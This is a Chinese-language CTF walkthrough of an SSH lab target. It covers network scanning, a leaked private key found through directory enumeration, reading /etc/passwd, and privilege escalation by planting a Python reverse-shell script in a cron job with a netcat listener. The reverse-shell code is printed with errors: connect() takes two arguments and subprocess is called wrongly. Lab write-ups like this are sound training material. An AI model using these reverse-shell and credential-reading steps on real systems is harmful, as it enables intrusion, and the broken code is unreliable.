CTF—攻防练习之ssh服务渗透(反弹shell监听和暴力ssh破解)
环境搭好后先嗅探网络
netdiscover -r 10.212.63.127/24
找到靶机
nmap扫一下端口
发现3个开发的端口,我们一个一个去看看
22端口我们想办法找到私钥或暴力破解创建ssh连接
80端口是个apache服务器 ,http协议
我们去看看有没有敏感信息,可以用nikto -host靶场ip 探测敏感信息
dirb http://10.212.63.150:80
好多文件,随便打开看看
打开flie文件
进入,em,有三个用户,记下来,是不是能通过用户进入到靶机呢
发现三个用户,martin出现了两次
martin
hadi
jmmy
再探其他目录,果然在icon目录下发现了私钥
那么下载下来,赋权
wget “”
chomd 600 xx
用私钥创建ssh连接
ssh -i id_rsa martin@192.168.56.101
没有密码,我们成功进入了Martin用户
可时发现没有权限,看下home文件确实时这三个用户
一般情况我们可以通过一下命令来查看一些信息
pwd
id 查看当前用户权限
cat /etc/passwd 查看所以用户列表
cat /etc/geroup 查看用户组
find / -user用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
看了一圈,如果没有什么可利用信息,到这里我们就得想办法提权了,我们再去深入挖掘
例如通过查看 /etc/crontab 文件,查看其他用户是否有设定的系统定时任务,并查看对应对应任务内容,执行的任务肯定时对靶场机器的某个文件。
etc/crontab 文件是用来设定系统定期执行任务,需要root权限,不同用户都可以有不同定时任务
如果在 /etc/crontab 下有某个用户执行的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,netcat执行监听获得对应用户的权限
如果有定时执行任务的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限
执行 cat/etc/crontab
jimmy 用户 下有个5分钟执行一次的py文件,而且tmp目录下没有sekurity这个文件,我们就可以创建一个反弹shell脚本命名为sekurity.py文件,获取它的权限
然后 netcat命令
-- nc -lpv 未占用端口
查看未占用端口:
-- netstat -pantu
先查看ssh占用端口,再启用监听4445端口:
再启用反弹shell脚本:
代码如下:
1 import os,subprocess,socket 2 3 s=socket.socket() 4 s.connect("攻击机ip地址","攻击机监听端口") 5 os.dup2(s.fileno(),0) 6 os.dup2(s.fileno(),1) 7 os.dup2(s.fileno(),2) 8 p=subprocess(["/bin/sh","-i "])
我们再将本地kali写好的脚本利用ssh scp上传到靶机tmp目录
scp -i id_rsa ~/ctf/a.py martin@192.168.56.101:/tmp
上传过去看一下
再将a.py改名成sekurity.py,再赋权chmod +x